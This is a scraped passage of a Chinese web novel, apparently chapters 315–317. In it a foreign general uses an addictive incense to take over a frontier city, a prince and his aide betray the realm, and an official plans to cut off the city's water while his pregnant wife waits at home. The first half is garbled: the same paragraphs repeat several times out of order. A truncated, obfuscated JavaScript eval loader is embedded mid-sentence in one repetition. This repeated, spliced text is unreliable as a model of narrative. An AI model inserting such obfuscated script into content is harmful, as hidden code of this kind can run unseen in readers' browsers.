售卖销魂香的盈利都进了瑛王和李怀景的口袋,轩辕朗确实只得到一点儿粟米,瑛王并不觉得这点儿粟米能起到祸国殃民的作用。 卫凌泽觉得瑛王简直不可理喻,他手腕一翻,就要提剑刺向轩辕朗,瑛王的护卫拦住了他。 岚舒跟着劝:“卫大公子,你别这么冲动,你都护送王爷来这里了,那咱们就是一条船上的人,王爷不会干通敌**的事,只是想做笔大买卖,带着大家赚钱呀。” 说着话,轩辕朗落了座。 他看着卫凌泽,叹了口气,有些可惜:“过去三年,我一直把卫小将军当成我的对手,上次见到卫小将军我很失望,没想到几个月过去,卫小将军还是一点儿改进都没有。” 轩辕朗的昭陵语流利了很多,这一番话,字字扎心。 轩辕朗说完又问瑛王:“上次冬猎那位沈大人可有升职,他现在在做什么?” 卫凌泽已经不配做他的对手了,他希望能有机会跟沈清渊较量一番。 轩辕朗的语气和态度刺痛了卫凌泽,不过在听到他提起沈清渊后,卫凌泽突然冷静下来。 销魂香害**宝华郡主,沈清渊有那么多年的断案经验,不可能一点儿察觉都没有。 也许他和瑛王此行,早在沈清渊的预料之中。 瑛王并不想浪费时间满足轩辕朗的八卦心理,他冷着脸道:“本王这次来,是要销魂香的另外一半制作方法,你把方子给本王,本王才会继续让人给你提供粟米。” 李怀景手里只有一半的制香方法,另外一半,还在轩辕朗手里捏着,瑛王想要垄断这门生意,不想受制于人,这才不远千里亲自来此。 听完瑛王有些急切的话,轩辕朗大声笑起来,一旁的白钰跟着笑,笑完还用越西语小声说了一句话。 瑛王听不懂,皱眉看向岚舒,岚舒打开折扇,凑到瑛王耳边小声道:“王爷,这女子刚刚骂你是蠢货。” 砰! 瑛王气得砸了酒杯:“放肆,本王愿意跟你们做生意是你们的荣幸,若是没有本王,你们制出来的香根本一文不值!” 瑛王很是愤怒,然而他话音刚落,带来的王府护卫便都被抹了脖子。 浓郁的血腥味在空气中弥漫开来。 州府贺章摇头道:“王爷,这是翁州,不是瀚京,在这里,没人敢跟轩辕将军这样说话。” :“王爷,别来无恙。” 相比卫凌泽的震惊失态,瑛王和岚舒都很镇定,毕竟他们早就从李怀景口中得知制香师是越西人,并且和轩辕朗有关系,所以并不意外会在这里看到轩辕朗。 瑛王端着亲王的架子没有起身,反客为主,做了个请的姿势:“轩辕将军,请坐。” 卫凌泽的剑还没移开,轩辕朗挑了下眉。 瑛王立刻开口:“轩辕将军是我们的朋友,把剑放下。” 卫凌泽脑袋都炸了,他扭头瞪着瑛王:“你早就知道销魂香是越西人制的,为什么还要让销魂香流入昭陵,你这是通敌叛国!” 亲身领略过销魂香的厉害,在看到轩辕朗的那一刻,卫凌泽只觉得浑身发冷,如坠冰窖。 销魂香出自越西,那轩辕朗的目的肯定不是为了赚钱。 这香若是大面积的流通,无数人都会因此变成人不人鬼不鬼的废物,这个时候越西在大举进兵,那昭陵就毫无招架之力了。 卫凌泽越想越觉得心惊后怕,瑛王却不以为意:“轩辕将军只是想用这香换取一些粟米罢了,你不要大惊小怪。” 售卖销魂香的盈利都进了瑛王和李怀景的口袋,轩辕朗确实只得到一点儿粟米,瑛王并不觉得这点儿粟米能起到祸国殃民的作用。 卫凌泽觉得瑛王简直不可理喻,他手腕一翻,就要提剑刺向轩辕朗,瑛王的护卫拦住了他。 岚舒跟着劝:“卫大公子,你别这么冲动,你都护送王爷来这里了,那咱们就是一条船上的人,王爷不会干通敌**的事,只是想做笔大买卖,带着大家赚钱呀。” 说着话,轩辕朗落了座。 他看着卫凌泽,叹了口气,有些可惜:“过去三年,我一直把卫小将军当成我的对手,上次见到卫小将军我很失望,没想到几个月过去,卫小将军还是一点儿改进都没有。” 轩辕朗的昭陵语流利了很多,这一番话,字字扎心。 轩辕朗说完又问瑛王:“上次冬猎那位沈大人可有升职,他现在在做什么?” 卫凌泽已经不配做他的对手了,他希望能有机会跟沈清渊较量一番。 轩辕朗的语气和态度刺痛了卫凌泽,不过在听到他提起沈清渊后,卫凌泽突然冷静下来。 销魂香害**宝华郡主,沈清渊有那么多年的断案经验,不可能一点儿察觉都没有。 也许他和瑛王此行,早在沈清渊的预料之中。 瑛王并不想浪费时间满足轩辕朗的八卦心理,他冷着脸道:“本王这次来,是要销魂香的另外一半制作方法,你把方子给本王,本王才会继续让人给你提供粟米。” 李怀景手里只有一半的制香方法,另外一半,还在轩辕朗手里捏着,瑛王想要垄断这门生意,不想受制于人,这才不远千里亲自来此。 听完瑛王有些急切的话,轩辕朗大声笑起来,一旁的白钰跟着笑,笑完还用越西语小声说了一句话。 瑛王听不懂,皱眉看向岚舒,岚舒打开折扇,凑到瑛王耳边小声道:“王爷,这女子刚刚骂你是蠢货。” 砰! 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瑛王并不想浪费时间满足轩辕朗的八卦心理,他冷着脸道:“本王这次来,是要销魂香的另外一半制作方法,你把方子给本王,本王才会继续让人给你提供粟米。” 李怀景手里只有一半的制香方法,另外一半,还在轩辕朗手里捏着,瑛王想要垄断这门生意,不想受制于人,这才不远千里亲自来此。 听完瑛王有些急切的话,轩辕朗大声笑起来,一旁的白钰跟着笑,笑完还用越西语小声说了一句话。 瑛王听不懂,皱眉看向岚舒,岚舒打开折扇,凑到瑛王耳边小声道:“王爷,这女子刚刚骂你是蠢货。” 砰! 瑛王气得砸了酒杯:“放肆,本王愿意跟你们做生意是你们的荣幸,若是没有本王,你们制出来的香根本一文不值!” 瑛王很是愤怒,然而他话音刚落,带来的王府护卫便都被抹了脖子。 浓郁的血腥味在空气中弥漫开来。 州府贺章摇头道:“王爷,这是翁州,不是瀚京,在这里,没人敢跟轩辕将军这样说话。” :“王爷,别来无恙。” 相比卫凌泽的震惊失态,瑛王和岚舒都很镇定,毕竟他们早就从李怀景口中得知制香师是越西人,并且和轩辕朗有关系,所以并不意外会在这里看到轩辕朗。 瑛王端着亲王的架子没有起身,反客为主,做了个请的姿势:“轩辕将军,请坐。” 卫凌泽的剑还没移开,轩辕朗挑了下眉。 瑛王立刻开口:“轩辕将军是我们的朋友,把剑放下。” 卫凌泽脑袋都炸了,他扭头瞪着瑛王:“你早就知道销魂香是越西人制的,为什么还要让销魂香流入昭陵,你这是通敌叛国!” 亲身领略过销魂香的厉害,在看到轩辕朗的那一刻,卫凌泽只觉得浑身发冷,如坠冰窖。 销魂香出自越西,那轩辕朗的目的肯定不是为了赚钱。 这香若是大面积的流通,无数人都会因此变成人不人鬼不鬼的废物,这个时候越西在大举进兵,那昭陵就毫无招架之力了。 卫凌泽越想越觉得心惊后怕,瑛王却不以为意:“轩辕将军只是想用这香换取一些粟米罢了,你不要大惊小怪。” 售卖销魂香的盈利都进了瑛王和李怀景的口袋,轩辕朗确实只得到一点儿粟米,瑛王并不觉得这点儿粟米能起到祸国殃民的作用。 卫凌泽觉得瑛王简直不可理喻,他手腕一翻,就要提剑刺向轩辕朗,瑛王的护卫拦住了他。 岚舒跟着劝:“卫大公子,你别这么冲动,你都护送王爷来这里了,那咱们就是一条船上的人,王爷不会干通敌**的事,只是想做笔大买卖,带着大家赚钱呀。” 说着话,轩辕朗落了座。 他看着卫凌泽,叹了口气,有些可惜:“过去三年,我一直把卫小将军当成我的对手,上次见到卫小将军我很失望,没想到几个月过去,卫小将军还是一点儿改进都没有。” 轩辕朗的昭陵语流利了很多,这一番话,字字扎心。 轩辕朗说完又问瑛王:“上次冬猎那位沈大人可有升职,他现在在做什么?” 卫凌泽已经不配做他的对手了,他希望能有机会跟沈清渊较量一番。 轩辕朗的语气和态度刺痛了卫凌泽,不过在听到他提起沈清渊后,卫凌泽突然冷静下来。 销魂香害**宝华郡主,沈清渊有那么多年的断案经验,不可能一点儿察觉都没有。 也许他和瑛王此行,早在沈清渊的预料之中。 瑛王并不想浪费时间满足轩辕朗的八卦心理,他冷着脸道:“本王这次来,是要销魂香的另外一半制作方法,你把方子给本王,本王才会继续让人给你提供粟米。” 李怀景手里只有一半的制香方法,另外一半,还在轩辕朗手里捏着,瑛王想要垄断这门生意,不想受制于人,这才不远千里亲自来此。 听完瑛王有些急切的话,轩辕朗大声笑起来,一旁的白钰跟着笑,笑完还用越西语小声说了一句话。 瑛王听不懂,皱眉看向岚舒,岚舒打开折扇,凑到瑛王耳边小声道:“王爷,这女子刚刚骂你是蠢货。” 砰! 瑛王气得砸了酒杯:“放肆,本王愿意跟你们做生意是你们的荣幸,若是没有本王,你们制出来的香根本一文不值!” 瑛王很是愤怒,然而他话音刚落,带来的王府护卫便都被抹了脖子。 浓郁的血腥味在空气中弥漫开来。 州府贺章摇头道:“王爷,这是翁州,不是瀚京,在这里,没人敢跟轩辕将军这样说话。” :“王爷,别来无恙。” 相比卫凌泽的震惊失态,瑛王和岚舒都很镇定,毕竟他们早就从李怀景口中得知制香师是越西人,并且和轩辕朗有关系,所以并不意外会在这里看到轩辕朗。 瑛王端着亲王的架子没有起身,反客为主,做了个请的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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岚舒跟着劝:“卫大公子,你别这么冲动,你都护送王爷来这里了,那咱们就是一条船上的人,王爷不会干通敌**的事,只是想做笔大买卖,带着大家赚钱呀。” 说着话,轩辕朗落了座。 他看着卫凌泽,叹了口气,有些可惜:“过去三年,我一直把卫小将军当成我的对手,上次见到卫小将军我很失望,没想到几个月过去,卫小将军还是一点儿改进都没有。” 轩辕朗的昭陵语流利了很多,这一番话,字字扎心。 轩辕朗说完又问瑛王:“上次冬猎那位沈大人可有升职,他现在在做什么?” 卫凌泽已经不配做他的对手了,他希望能有机会跟沈清渊较量一番。 轩辕朗的语气和态度刺痛了卫凌泽,不过在听到他提起沈清渊后,卫凌泽突然冷静下来。 销魂香害**宝华郡主,沈清渊有那么多年的断案经验,不可能一点儿察觉都没有。 也许他和瑛王此行,早在沈清渊的预料之中。 瑛王并不想浪费时间满足轩辕朗的八卦心理,他冷着脸道:“本王这次来,是要销魂香的另外一半制作方法,你把方子给本王,本王才会继续让人给你提供粟米。” 李怀景手里只有一半的制香方法,另外一半,还在轩辕朗手里捏着,瑛王想要垄断这门生意,不想受制于人,这才不远千里亲自来此。 听完瑛王有些急切的话,轩辕朗大声笑起来,一旁的白钰跟着笑,笑完还用越西语小声说了一句话。 瑛王听不懂,皱眉看向岚舒,岚舒打开折扇,凑到瑛王耳边小声道:“王爷,这女子刚刚骂你是蠢货。” 砰! 瑛王气得砸了酒杯:“放肆,本王愿意跟你们做生意是你们的荣幸,若是没有本王,你们制出来的香根本一文不值!” 瑛王很是愤怒,然而他话音刚落,带来的王府护卫便都被抹了脖子。 浓郁的血腥味在空气中弥漫开来。 州府贺章摇头道:“王爷,这是翁州,不是瀚京,在这里,没人敢跟轩辕将军这样说话。” :“王爷,别来无恙。” 相比卫凌泽的震惊失态,瑛王和岚舒都很镇定,毕竟他们早就从李怀景口中得知制香师是越西人,并且和轩辕朗有关系,所以并不意外会在这里看到轩辕朗。 瑛王端着亲王的架子没有起身,反客为主,做了个请的姿势:“轩辕将军,请坐。” 卫凌泽的剑还没移开,轩辕朗挑了下眉。 瑛王立刻开口:“轩辕将军是我们的朋友,把剑放下。” 卫凌泽脑袋都炸了,他扭头瞪着瑛王:“你早就知道销魂香是越西人制的,为什么还要让销魂香流入昭陵,你这是通敌叛国!” 亲身领略过销魂香的厉害,在看到轩辕朗的那一刻,卫凌泽只觉得浑身发冷,如坠冰窖。 销魂香出自越西,那轩辕朗的目的肯定不是为了赚钱。 这香若是大面积的流通,无数人都会因此变成人不人鬼不鬼的废物,这个时候越西在大举进兵,那昭陵就毫无招架之力了。 卫凌泽越想越觉得心惊后怕,瑛王却不以为意:“轩辕将军只是想用这香换取一些粟米罢了,你不要大惊小怪。” 售卖销魂香的盈利都进了瑛王和李怀景的口袋,轩辕朗确实只得到一点儿粟米,瑛王并不觉得这点儿粟米能起到祸国殃民的作用。 卫凌泽觉得瑛王简直不可理喻,他手腕一翻,就要提剑刺向轩辕朗,瑛王的护卫拦住了他。 岚舒跟着劝:“卫大公子,你别这么冲动,你都护送王爷来这里了,那咱们就是一条船上的人,王爷不会干通敌**的事,只是想做笔大买卖,带着大家赚钱呀。” 说着话,轩辕朗落了座。 他看着卫凌泽,叹了口气,有些可惜:“过去三年,我一直把卫小将军当成我的对手,上次见到卫小将军我很失望,没想到几个月过去,卫小将军还是一点儿改进都没有。” 轩辕朗的昭陵语流利了很多,这一番话,字字扎心。 轩辕朗说完又问瑛王:“上次冬猎那位沈大人可有升职,他现在在做什么?” 卫凌泽已经不配做他的对手了,他希望能有机会跟沈清渊较量一番。 轩辕朗的语气和态度刺痛了卫凌泽,不过在听到他提起沈清渊后,卫凌泽突然冷静下来。 销魂香害**宝华郡主,沈清渊有那么多年的断案经验,不可能一点儿察觉都没有。 也许他和瑛王此行,早在沈清渊的预料之中。 瑛王并不想浪费时间满足轩辕朗的八卦心理,他冷着脸道:“本王这次来,是要销魂香的另外一半制作方法,你把方子给本王,本王才会继续让人给你提供粟米。” 李怀景手里只有一半的制香方法,另外一半,还在轩辕朗手里捏着,瑛王想要垄断这门生意,不想受制于人,这才不远千里亲自来此。 听完瑛王有些急切的话,轩辕朗大声笑起来,一旁的白钰跟着笑,笑完还用越西语小声说了一句话。 瑛王听不懂,皱眉看向岚舒,岚舒打开折扇,凑到瑛王耳边小声道:“王爷,这女子刚刚骂你是蠢货。” 砰! 瑛王气得砸了酒杯:“放肆,本王愿意跟你们做生意是你们的荣幸,若是没有本王,你们制出来的香根本一文不值!” 瑛王很是愤怒,然而他话音刚落,带来的王府护卫便都被抹了脖子。 浓郁的血腥味在空气中弥漫开来。 州府贺章摇头道:“王爷,这是翁州,不是瀚京,在这里,没人敢跟轩辕将军这样说话。” 第315章 害人精,你怎么不去死? “我不喜欢养废物,现在给我一个不杀你们的理由。” 轩辕朗身子后仰,挑了个慵懒又霸道的坐姿,周身气势全开,明明这是翁州州府的府邸,却像是成了越西的领地,而他,是这片领地上的王! 瑛王的脸色非常难看。 在他的想象中,轩辕朗应该姿态卑微,跪在他脚边把制香法子用上,祈求能换得一点儿粟米,而不是反客为主,把他踩在脚下。 瑛王开不了口求轩辕朗,偏头去看卫凌泽,希望他能有办法救自己脱险。 然而他刚偏头,就被岚舒重重扇了一耳光:“王爷,你冒犯了轩辕将军,轩辕将军还等着你道歉呢,你不开口,咱们都得死呢。” 瑛王:“……” 这个混账,他定要宰了岚舒喂狗! 岚舒并不害怕瑛王,打完那一巴掌就跪到轩辕朗面前:“轩辕将军,小人岚舒,之前在瀚京是为太子殿下做事的,小人知道朝中百官的很多秘密,小人还精通越西和昭陵两国的话,可以帮将军做很多事。” 这一番话,岚舒是用越西语说的,不等轩辕朗开口,他又继续道:“卫大公子已经染上香料的瘾了,虽然卫大公子现在被停职了,但对昭陵军中很多事都是了解的,将军完全可以用香料驱使他做事,至于瑛王,他毕竟是皇室血脉,将军可以等到两军对阵时,再把他扔出去挫对方的军心。” 许是怕死,岚舒的语速飞快。 轩辕朗很满意岚舒的识趣,盯着他看了一会儿问:“你是如何学会越西话的?” 岚舒犹豫片刻说:“越西之前战败,送来了很多战俘做奴隶,他们有的被训练成了男妓,我与他们打过交道,就学了一些。” 这话一出,轩辕朗的脸顿时沉了下去。 多年前越西败给昭陵,元气大伤,不得不签下条约,每年进贡大量的牛羊和马匹,三年前越西王室更迭,轩辕朗为了在军中树立威信,带兵偷袭,却被卫凌泽挑下马还痛失一臂。 那一战,是轩辕朗活到现在最大的耻辱,岚舒的话戳了轩辕朗的痛处。 是他太急功近利,才会害了那些将士。 那些将士本该死在战场上,却被昭陵人如此折辱,昭陵人都该死! 不过这个叫岚舒的人说得对,留着他们三个的确还有用。 轩辕朗眼底闪过狠戾,但很快又归于平静。 他让人把卫凌泽和瑛王先带下去,只把岚舒留下,打探更多的消息。 靠着一张能说会道的嘴,岚舒很快在轩辕朗身边站住脚跟。 卫凌泽倒是硬气,但很快他的瘾就再次发作。 他试图自杀,但被轩辕朗阻止。 轩辕朗要他亲口说出昭陵军中的情况,这对这场战事有着至关重要的作用。 “轩辕朗,你如果还是个爷们儿就杀了我,不要用这种卑鄙手段恶心我!” 身体的难受一波强过一波,卫凌泽汗如雨下,整个人像是刚从水里捞出来的。 轩辕朗没说话,一旁的岚舒连忙劝说:“卫大公子,轩辕将军筹谋多年,如今大计将成,你就算硬扛着也改变不了什么的,现在整个翁州都以轩辕将军马首是瞻,越西的三万兵马也都已经入驻城中,等到秋收之后,还会有更多的兵马到来,这次开战,昭陵必败无疑。” 翁州是最早用忘忧草制香的地方,城中百姓大多都已被香控制,他们打开城门迎越西敌军入城,更心甘情愿将辛苦耕作种出的粮草全部献上,只为能换取一点儿让他们飘飘欲仙的香。 卫凌泽已经猜到轩辕朗的企图,但听到岚舒这样说,还是无比的愤怒。 先用销魂香一点点侵蚀、控制翁州的百姓,再用翁州百姓种出来的粮食养越西的兵,最后践踏昭陵的国土,屠戮昭陵的百姓,这简直太可恨了! “呸!” 卫凌泽吐了岚舒一口唾沫,冷笑道:“没骨头的狗贼,你以为你以后能有什么好下场吗?” 岚舒擦了擦脸,叹气道:“卫大公子,事已至此,你应该学会顺势而为才是,你以为你什么都不说,就有人念你的好了吗?” 岚舒和几个越西士兵带着卫凌泽来到城郊农田。 临近午时,在田里耕作的人陆陆续续聚到田边空地领饭吃。 岚舒清了清嗓子,高声道:“诸位,卫大公子来看大家了,你们知道卫大公子是谁吗?他是瀚京百年世家名门卫家的嫡长子,前翁州州府李怀景是他的小姨父。” 这些人个个衣衫褴褛,神情呆滞,原本对岚舒的话漠不关心,但在听到最后一句话时,所有人都停下动作,抬头看了过来。 卫凌泽刚扛过一次瘾发,这会儿正虚弱,但他还是清晰地感受到杀意。 那些杀意不是来自某一个人,而是从四面八方投射而来的,密密麻麻,像是无数只利箭,要将他万箭穿心,射成筛子。 卫凌泽心底不自觉发慌,这时一只装着清粥的碗突然砸到他身上。 “害人精,都是你害的我们,你怎么不去死!” “要不是李怀景让我们种那害人的香料,我也不会家破人亡,沦落到这种地步!” “你还我女儿的命来,我女儿才八岁,最是乖巧伶俐,却生生被她那失了魂的爹卖了让人糟蹋死了,你也该死!” 有一个人开口,其他人立刻跟着叫骂着围上来。 他们虽被这香控制,却也恨毒了这香,全都想要扑上来喝卫凌泽的血,吃卫凌泽的肉,如此才能解他们心头之恨。 在越西士兵的保护下,岚舒和卫凌泽才没有死在人群之中,但两人身上都被泼了粥吐了唾沫,狼狈极了。 好不容易逃出去,岚舒脱了外衫丢到一边,而后问卫凌泽:“现在所有人都觉得你和李怀景是一伙的,你们才是罪魁祸首,就算卫大公子继续死撑下去也不会有人领情,而且一旦陛下知道此事,卫家九族都会被灭,卫大公子难道不想为他们谋条后路?” 卫凌泽呆滞的眸子动了动。 他和小姨小姨父不是一伙的,他也是销魂香的受害者,卫家上下更是毫不知情。 可现在……谁会信呢? 许久之后,卫凌泽哑声开口:“带我去见轩辕朗。” 第316章 断水 下朝后,御书房里挤满了人。 陛下面色冷肃地坐在桌案前,文武重臣分立两侧,沈清渊和太子也在。 萧夜辰传回消息,翁州已完全沦为越西人的大本营,轩辕朗在城中屯兵三万,意欲在秋收后,把翁州的粮食作为军粮,再次挑起战火。 而与翁州相邻的禹州和丽州也深受此香荼毒,军中沾染此香的人已近三成。 情况比想象中的还要严重。 翁州和越西接壤,但中间有大片荒漠作为天然屏障,现在轩辕朗利用销魂香悄无声息地突破了这层屏障,还驻扎了三万兵马在翁州城中,等到秋收后,越西敌军得到充足的粮草,突然挑起战火,还真难说胜负。 就算现在他们察觉了这场阴谋,能够应对的时间也不多了。 “诸位爱卿怎么想的?” 陛下沉沉开口,整个御书房的气氛都很压抑。 镇国将军率先开口:“臣以为应该立刻调集兵马赶赴翁州,趁秋收之前,将越西敌军一网打尽!” 丞相摇头道:“微臣觉得不可贸然行动,翁州城中还有许上万百姓,万一轩辕朗用百姓做挡箭牌,我们总不能枉顾百姓的安危攻城,若要顾及百姓,轩辕朗便有机会全身而退,如此我们便白白被他遛了一圈。” 轩辕朗的毒计已经导致很多人家破人亡,必须粉碎他的计划,并且抓到他严惩,才能安民心,平民愤。 但要做到这点,很难。 众人再度陷入沉默,这时太子开口:“为了让香流入昭陵,轩辕朗找了李怀景夫妇合作,李怀景又找了瑛王,瑛王为了得到完整的制香之法,已秘密前往翁州,瑛王身边有个叫岚舒的人精通越西语,他会想办法向外传递情报,我们可以将计就计,在秋收之前,将轩辕朗困在城中,来个瓮中捉鳖。” 有内应在事情就好办多了。 众人振奋,又听到沈清渊说:“翁州气候干燥,这几年耗费大量人力财力挖渠引水,粮食产量提升了不少,但也带来了一个致命的缺点,一旦上游断水,翁州就会变成一个无水之城。” 镇国公立刻请命:“那就断他们的水,老臣愿即刻带兵前往翁州,活捉轩辕朗。” 沈清渊摇头:“事情没有这么简单,翁州上游地带夏秋季节多雨,这几年正是因为引水到翁州,才减少了水患发生,若要断翁州的水源,恐怕会淹没上游的大片良田,如此一来,今年秋收必然损失惨重,上游的百姓也需要耗费大量的人力物力去转移安置。” 翁州上游地带是昭陵的鱼米之乡,本来战事一起,粮草和军费消耗就很大,若是不能确保今年秋收,他们自己也会陷入被动局面。 而且断水的时间和大军前往翁州的时间要配合得天衣无缝才行,既要不被轩辕朗和敌军提前发觉,又要保证及时断水,击溃敌军军心,困守敌军,尽可能地减少我军的伤亡。 事情紧急,陛下立刻又召了工部的官员前来商议。 直到深夜,沈清渊才从宫里出来。 断水之事存在的不确定情况太多,讨论了大半日,还是一点儿进展都没有。 沈清渊眉眼间不自觉染上倦色,回到主院,却发现小厨房亮着灯。 他走过去,果然看到春喜在灶前忙活。 孩子快六个月了,春喜的肚子已经高高隆起,沈清渊皱了皱眉,走过去拉住春喜:“我不是让夫人早些休息莫要等我吗,夫人就算要等我,也不该再亲自弄这些吃食了。” 沈清渊的语气不自觉带了责备,春喜飞快踮脚捂住他的嘴:“夫君小声些,一会儿被李嬷嬷、章嬷嬷听到我就白忙活了!” 说完话,春喜从灶里掏出两个烧好的红薯出来。 李嬷嬷和章嬷嬷在宫里待了大半辈子,对春喜孕期的饮食更是各种精细,春喜想吃烤红薯好久了,但李嬷嬷和章嬷嬷就是不许她吃,她睡了一觉饿醒了,便偷摸着去厨房拿了两个红薯来烤。 “我没有特意在等夫君,都已经睡了一觉又被饿醒啦。” 春喜用干草把两个烤红薯拍干净,仔细对比了一番,拿了稍大一点儿的那个递给沈清渊:“夫君吃大的,我吃一个小的,你别告诉嬷嬷她们,好不好?” “好。” 应着声,沈清渊揭过红薯。 春喜迫不及待地掰开自己手里那个,软糯香甜的味道立刻扑鼻而来。 春喜顾不上烫,迫不及待咬了一口,眉眼顿时满足地舒展开来:“终于吃到了,好好吃!” 沈清渊刚刚还在烦心断水之事,这会儿看到春喜因为一个烤红薯而高兴不已,表情也不自觉放松下来,跟着春喜一起细细品味烤红薯的味道。 烤红薯不大,两人很快吃完。 春喜拍拍手,突然抱住了沈清渊。 沈清渊愣了一下,而后回应了这个拥抱,温声问:“怎么了,可是没有吃饱?” 春喜摇摇头:“没有,就是夫君刚回来的时候瞧着有些疲倦,我也帮不上夫君什么,只能和孩子一起抱抱夫君。” 两人的距离很近,春喜的肚子正好贴着沈清渊,春喜刚说完,沈清渊就感觉腹部传来很轻的触碰。 “夫君,孩子动了,你感觉到了没有?” 春喜抬头,眼睛亮闪闪的,沈清渊之前已经用手感受过胎动,但这会儿还是被感动。 他点点头,温声跟春喜说了准备断水围城的事。 春喜不懂水利之事,但也认真想了想道:“工部的大臣虽然擅长水利,但久居高位,恐怕并不了解实际情况,要想制定出最好的方案,我觉得还是要去实地考察,多跟当地人交流,了解近些年的气候变化。” 沈清渊不吝夸赞:“夫人说得很有道理。” 春喜弯眸笑起,盯着沈清渊看了一会儿突然问:“这个方案是夫君最先提出来的,夫君为何不主动请缨,这不是把天大的功劳让给别人吗?” “这件事谁去做都可以,但夫人和孩子需要我,我不能离开。” “夫君这是说的什么话,”春喜推开沈清渊,叉腰瞪着他,“夫君既不是大夫又不是稳婆,到时除了在产房外什么都做不了,而且国难当头,在夫君心里,我竟然是这种只有自己,不顾大局的人吗?” “我没有这样想……” 沈清渊试图解释,又听到春喜说:“这些日子我和公主还有禾儿亲眼见证了那些世家夫人发瘾时有多痛苦难熬,越西人用这样卑劣的法子害了那么多无辜的人,把他们千刀万剐也不为过,夫君若是因为这件事奔赴远方,我和孩子不会觉得无助,只会为夫君骄傲。” “……” 第二日,沈清渊主动请缨,和工部的八名官员一起前往翁州上游地带实地考察。 同日,镇国公秘密离京,带着虎符前往各地调粮调兵。 第317章 大战在即 昭陵和越西的战事不知道什么时候就会爆发,瀚京却还是一派繁荣祥和。 大理寺并没有公布太傅府被抓的真相,只是以涉嫌参与徐州贪污案的罪名抄了太傅府。 安安因为还小,且与太傅府断了亲,逃过一劫。 七月底,萧夜辰通过岚舒拿到了销魂香的制作方法送回京中。 但太医院还是没有研制出可以帮人控制瘾发的药物,染上香瘾的人只能靠自己慢慢地熬过去。 春喜和萧清禾几乎每日都会去公主府,等那些世家夫人经历完发作时痛苦后,帮忙鼓舞她们一番,让她们不要有轻生的念头,一定要坚持下去。 每隔十日沈清渊就会给春喜写一封信来。 断水这件事的难度比沈清渊想象中更大,他和工部的官员分成三路去往不同的地方考察,经过半个多月的努力,最终由他拍板,定下了方案。 现在他们一边在组织百姓撤离,一边在囤积炸药,准备炸山,等到合适的时机把河道堵死,以断绝翁州的水源。 沈清渊很忙,能抽空写信已是不易,每次信上只有寥寥几句。 相比之下,春喜的回信内容就多多了。 她的肚子渐渐发沉,饿得也越发地快,不过李嬷嬷和章嬷嬷不许她胡吃海喝,只让她吃些新鲜核桃,怕孩子长太大不好生。 恒阳公主也有同样的烦恼,好在能拿驸马撒火,驸马毫无怨言,反而对恒阳公主越发宠溺,甚至学会了做饭,每日变着法儿地哄着恒阳公主。 立秋那日她去了萧家,萧家人处处照顾着她,那天过得很是热闹。 从萧家回来,她见到了大哥,大哥瘦了不少。 大嫂钱氏带着正儿回了娘家住,大哥没去接,而是辞去了木料作坊的活,自己拿钱盘了个铺子开始做木匠。 眼下铺子刚起步,生意虽然不太好,但大哥很有信心,整个人的气质也和之前不同了,春喜很为大哥开心,并吩咐手下的掌柜,若是铺子里什么东西坏了,或者需要添置什么,都可以去找自家大哥。 曹文也送了信来,他的字越发好看了,成绩也是突飞猛进,很得学院先生看重,汇报完自己的情况,还知道关心春喜和未出世的孩子几句,春喜很是欣慰。 书信往来间,不知不觉入了秋。 瀚京的秋老虎很是厉害,一场秋雨不过凉爽了几日,便又热了起来。 这天吃过午饭,春喜正央着嬷嬷想吃块冰镇甜瓜,公主府突然来人:“沈夫人,我家公主要生了。” 皇后和太后安排了很多人守着恒阳公主,春喜知道出不了事,但还是第一时间赶去公主府。 离着主院老远,春喜就听到了公主骂驸马的声音:“温砚书,你这个狗东西,要不是被你那张脸骗了,本公主才不会遭这样的罪,你要是敢把孩子丢给本公主一个人,本公主一定砍了你的头,抄了你的家!” 公主的声音很大,听着底气十足,春喜放心了些,进到主院,院子里果然密密麻麻挤满了人。 驸马站在门口最近的位置,面色凝重,等公主骂累了,便回应两句,表示自己后半辈子一定好好侍奉公主赎罪。 春喜到后,丫鬟立刻进去禀报,没一会儿,恒阳公主的声音传出来:“阿喜,你别进来,小心吓着你,你在外面守着我就很安心了。” 春喜学着驸马的样子趴在门上跟恒阳公主说话:“臣妇不怕,公主也别害怕,等孩子生了,臣妇就带公主去吃各种好吃的,最近臣妇研究了一种冰酪,搭配果酱一起吃,可好吃啦。” 这话提醒了恒阳公主,她又骂起驸马来:“狗东西,本公主这个夏天都没喝成酸梅汤,也没吃到几口冰镇水果,都是你害的,现在还这么痛,简直太可恶了……” 温砚书连忙认错:“是是是,都是我的错,等公主生完,我一定任打任骂,现在公主还是少说话,积攒一点儿体力吧。” “闭嘴,本公主不要你教我做事!” 恒阳公主偏要跟驸马对着干,声音更大,话音刚落,婴孩儿的啼哭声猛然响起。 生了! 春喜心头一松,弯眸冲温砚书道:“恭喜驸马,你当爹了。” 温砚书还在怔愣之中,片刻后回过神来,他连忙追问:“公主可还好?” 立刻有人应声:“公主安好,恭喜驸马,公主生了位小少爷。” 屋里伺候的人多,很快把产房清理干净。 奶娘抱着孩子出来给驸马看,春喜则被引进屋里。 恒阳公主躺在床上,虽然精疲力竭,但精神看着还行。 不等春喜开口,恒阳公主便不满地嘀咕:“真叫那孩子说中了,是个臭小子。” 女儿梦彻底破碎,恒阳公主并没有初为人母的高兴。 春喜坐到床边,柔声道:“是什么都好,公主平安最重要,而且这么快就生了,公主你真的好厉害。” 春喜说着竖起大拇指,恒阳公主心情好了些,得意勾唇:“刚刚可疼了,不过我都忍下来了,我看以后谁还敢说本公主娇气。” 到底消耗很大,又说了几句话,恒阳公主就睡下了。 春喜走出房间,见日头已经西斜,忍不住生出想念。 公主顺利生产是好征兆,大人那边应该也会顺利吧。 沈清渊这边断水的确很顺利,但炸山断水不过两日,一场暴雨突然袭来,连着三日,雨势都没有减弱的迹象,若是再继续下去,淹没范围会比之前预计的大很多,更重要的是堵塞之处也会有很大的危险。 那毕竟不是专门修筑的堤坝,一旦决堤,翁州将会沦为汪洋,除了城中的越西敌军和百姓,连镇国将军带去的兵马都会被卷入洪流之中。 沈清渊一边和工部的人想办法增强堵水的稳固性,一边派人给镇国将军送去消息,若大雨持续,最多五日,必须破城转移。 与此同时,翁州城中热闹一片。 今年翁州的粮食长得很好,再过几日就能收粮,越西的十万兵马也已经集结好准备向翁州进发,箭镞弓弩皆已事先运到翁州。 